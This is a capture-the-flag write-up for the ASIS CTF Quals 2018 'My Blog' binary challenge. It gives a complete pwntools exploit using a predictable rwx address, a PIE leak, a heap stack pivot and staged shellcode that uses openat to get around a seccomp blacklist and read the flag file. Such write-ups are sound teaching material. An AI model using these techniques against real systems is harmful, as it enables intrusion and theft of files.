ASIS CTF Quals 2018 - My Blog
Hey! I created a new blog system, and I think my blog is very secure!!! Come on, friend!
nc 159.65.125.233 31337
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
███╗ ███╗██╗ ██╗ ██████╗ ██╗ ██████╗ ██████╗
████╗ ████║╚██╗ ██╔╝ ██╔══██╗██║ ██╔═══██╗██╔════╝
██╔████╔██║ ╚████╔╝ ██████╔╝██║ ██║ ██║██║ ███╗
██║╚██╔╝██║ ╚██╔╝ ██╔══██╗██║ ██║ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ██████╔╝███████╗╚██████╔╝╚██████╔╝
╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝
1. Write a blog post
2. Delete a blog post
3. Show the blog owner
4. Exit
While this challenge might look like a heap challenge at first, it’s not…
We can create and delete blog posts, which will be put on the heap, but that’s it for being heap related. The interesting part is hidden in Show the blog owner
3
Old Owner : my_blog
New Owner :
This let’s us write a new blog owner, but we’re only allowed to input 7 bytes for this. Let’s check some code to see, what’s behind the blog owner
void init_app()
{
show_banner();
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
srand(time(0));
mapped_region = mmap((void *)(rand() & 0xFFFFF000), 0x2000uLL, 7, 34, -1, 0LL);
BLOG_OWNER = mapped_region;
*mapped_region = 'golb_ym';
init_seccomp();
}
This will set up a rwx
section at a “random” address, but since the random generator is seeded with the current time, we can easily guess the address for this section.
This region will be used to store the blog owner (which is also the one, we can change in Show the blog owner
)
void show_blog()
{
printf("Old Owner : %s\n", BLOG_OWNER);
puts("New Owner : ");
read(0, BLOG_OWNER, 7);
BLOG_OWNER[7] = 0
puts("Done!!");
}
So we can write 7 bytes to a rwx
section. This already yells to put a shellcode there. But then again 7 bytes aren’t quite much for doing something useful there.
Checking the main function, we can also see, that there’s a hidden menu, when entering 31337
, which calls a function, which will for one leak its own address and lets us overwrite the return address with a value smaller then itself. We can use this to return to the rwx
section, where we prepared a shellcode, which then will get executed.
int leet_leak()
{
puts("=============================================");
printf("I will give you a gift %p\n", leet_leak);
read(0, &buf, 0x18);
// various checks
...
puts("Done!!");
}
Adding blog entries, will create a chunk on the heap and store the address for the blog entry directly behind the blog owner
in the rwx
section
void write_blogentry()
{
puts("Input content");
blogentry = malloc(0x10);
blogentry->content = malloc(0x30);
read(0, blogentry->content, 0x2F);
blogentry->content[47] = 0;
puts("Input author");
blogentry->author = malloc(8uLL);
read(0, blogentry->author, 7uLL);
blogentry->author[7] = 0;
BLOG_OWNER[BLOG_COUNTER++ + 1] = blogentry;
puts("Done!!");
}
We can use the blog entries to prepare small ropchains on the heap, and then try to pivot the stack to the heap with our initial “mini” shellcode.
- Read the pie leak (because leaks are always good :-))
- Prepare stager shellcode in blog owner
- Prepare ropchain on heap
- Trigger stager shellcode
- Let it roll
#!/usr/bin/python
from pwn import *
import sys
import ctypes
ctypes.cdll.LoadLibrary("libc.so.6")
libc = ctypes.CDLL("libc.so.6")
LOCAL = True
HOST = "159.65.125.233"
PORT = 31337
def write_blog(content, author):
r.sendline("1")
r.recvline()
r.send(content)
r.recvline()
r.send(author)
r.recvuntil("Exit\n")
def del_blog(idx):
r.sendline("2")
r.recvline()
r.send(str(idx))
r.recvuntil("Exit\n")
def show_blog(newauth):
r.sendline("3")
r.recvuntil("Old Owner : ")
LEAK = r.recvline()[:-1]
r.recvline()
r.send(newauth)
r.recvuntil("Exit\n")
return LEAK
def get_pie_leak(overwrite_ret=False, ret=0, rbp=0):
r.sendline("31337")
r.recvuntil("gift ")
LEAK = int(r.recvline().strip(), 16)
if not overwrite_ret:
r.sendline("0")
r.recvuntil("Exit\n")
else:
payload = "A"*8
payload += p64(rbp)
payload += p64(ret)
r.send(payload)
return LEAK
def exploit(r):
log.info("Initialize srand")
ADDR = libc.rand() & 0xFFFFF000
log.info("RWX section at : %s" % hex(ADDR))
r.recvuntil("Exit\n")
PIE = get_pie_leak()
e.address = PIE - 0xef4
log.info("PIE leak : %s" % hex(PIE))
log.info("PIE : %s" % hex(e.address))
log.info("Initialize stager shellcode to pivot to heap ropchain")
context.arch = "amd64"
SC = """
push [rbp]
pop rsp
pop rbp
leave
ret
"""
show_blog(asm(SC))
log.info("Create ropchain to read bigger shellcode to rwx section")
payload = p64(ADDR+0x8)
payload += p64(e.address + 0xf20)
payload += p64(0xdeadbeef)
write_blog(payload, "B"*6)
get_pie_leak(True, ADDR, ADDR+0x8)
r.interactive()
return
if __name__ == "__main__":
e = ELF("./myblog")
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
libc.srand(libc.time(0))
exploit(r)
else:
LOCAL = True
r = process("./myblog")
libc.srand(libc.time(0))
print util.proc.pidof(r)
pause()
exploit(r)
Quite some stuff that happens there, so, let’s get into detail…
get_pie_leak(True, ADDR, ADDR+0x8)
will set rbp
to ADDR+0x8
and set rip
to ADDR
. Since we created a blog entry, ADDR+0x8
will point to a chunk on the heap
gdb-peda$ x/10gx 0x52d26000
0x52d26000: 0x00c3c95d5c0075ff 0x0000555555757670 shellcode / blog entry 0
0x52d26010: 0x0000000000000000 0x0000000000000000
0x52d26020: 0x0000000000000000 0x0000000000000000
Our stager shellcode
push [rbp]
pop rsp
pop rbp
leave
ret
will thus
- push the address of the blog entry chunk onto the stack.
pop rsp
will pivot the stack to the blog entry. The first pointer of a blog entry is a pointer to its content. Thus we’ll now have the content pointer on top of the stackpop rbp
will now move the content pointer torbp
leave; ret
will thus move rsp tocontent+8
- and this will execute the ropchain we prepared in our blog entry :)
payload = p64(ADDR+0x8)
payload += p64(e.address + 0xf20)
payload += p64(0xdeadbeef)
will set rbp
to rwx
section + 8 and then jump to the read
int the leet_leak
function
lea rax, [rbp-8]
mov edx, 18h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
mov eax, 0
call _read
which will now read 24 bytes to the rwx
section. So we can put another shellcode there.
Though, we can only use the first 16 bytes for our shellcode, since we have to put another return address at the end, so our ropchain can continue.
But 16 bytes are enough to do a second stager shellcode, which then lets us read the final shellcode.
log.info("Send second stager shellcode to read unlimited shellcode")
SC = """
xor rax, rax
xor rdi, rdi
mov rsi, rsp
xchg rdx, r11
syscall
jmp next
nop
nop
nop
nop
nop
nop
nop
nop
next:
"""
payload = asm(SC)[:16]
payload += p64(ADDR)
r.send(payload)
The nop
s won’t be in our final shellcode and are only there to let pwntools calculate the jmp next
correctly, because the return address will be stored in place of the nop
s (ADDR
).
When the syscall gets executed rsp
will point behind the just read data, and we’re writing the next shellcode to rsp
.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7af90c4 --> 0x477fffff0003d48
RDX: 0x246
RSI: 0x55ace018 --> 0x0
RDI: 0x0
RBP: 0x8eb050fda874ce6
RSP: 0x55ace018 --> 0x0
RIP: 0x55ace00c --> 0x55ace00008eb050f
R8 : 0x7ffff7fe04c0 (0x00007ffff7fe04c0)
R9 : 0x26 ('&')
R10: 0x78 ('x')
R11: 0x7ffff7dd1880 --> 0x0
R12: 0x555555554930 --> 0x89485ed18949ed31
R13: 0x7fffffffe460 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55ace003: xor rdi,rdi
0x55ace006: mov rsi,rsp
0x55ace009: xchg rdx,r11
=> 0x55ace00c: syscall
0x55ace00e: jmp 0x55ace018
0x55ace010: add al,ah
0x55ace012: lods al,BYTE PTR ds:[rsi]
0x55ace013: push rbp
No argument
[------------------------------------stack-------------------------------------]
0000| 0x55ace018 --> 0x0
0008| 0x55ace020 --> 0x0
0016| 0x55ace028 --> 0x0
0024| 0x55ace030 --> 0x0
0032| 0x55ace038 --> 0x0
0040| 0x55ace040 --> 0x0
0048| 0x55ace048 --> 0x0
0056| 0x55ace050 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000055ace00c in ?? ()
So, this read
will now read 0x246
bytes, to 0x55ace018
and our previous shellcode will then jump there. Should be more than enough to do some proper shellcode.
But there are some blacklisting seccomp rules active
- arch : amd64 (so no transfer to 32bit)
- open (2)
- execve (59)
- fork (57)
- vfork (58)
- clone (56)
No shell possible and we’re also not allowed to open
the flag file to read it… But well, there’s still openat
syscall to get around this :)
From the other pwnables, we can guess, that the flag will be stored at /home/pwn/flag
, so we just do an openat/read/write
shellcode to get this thing done.
log.info("Send final shellcode to read/open/write flag")
SC = """
mov rax, 257
mov rdi, -100
mov rsi, %d
xor rdx, rdx
xor rcx, rcx
syscall
xchg rdi, rax
xor rax, rax
mov dl, 100
syscall
xor rax, rax
mov al, 1
mov rdi, 1
syscall
""" % (ADDR+0xe0)
payload = asm(SC)
payload += "\x90"*(200-len(payload))
payload += "/home/pwn/flag\x00"
r.send(payload)
r.interactive()
Like already stated, the previous stager shellcode will read this to the destination, where our jmp
is already pointing to, and executes it:
- openat(-100, “/home/pwn/flag”, 0, 0)
- read(fd, buffer, 100)
- write(1, buffer, 100)
resulting in another flag:
$ python xpl.py 1
[*] '/home/kileak/blog/myblog'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 159.65.125.233 on port 31337: Done
[*] Initialize srand
[*] RWX section at : 0x76c4d000
[*] PIE leak : 0x56516c3d3ef4
[*] PIE : 0x56516c3d3000
[*] Initialize stager shellcode to pivot to heap ropchain
[*] Create ropchain to read bigger shellcode to rwx section
[*] Send second stager shellcode to read unlimited shellcode
[*] Send final shellcode to read/open/write flag
[*] Switching to interactive mode
Done!!
Done!!
ASIS{526eb5559eea12d1e965fe497b4abb0a308f2086}\x00\x00\x00
...
[*] Got EOF while reading in interactive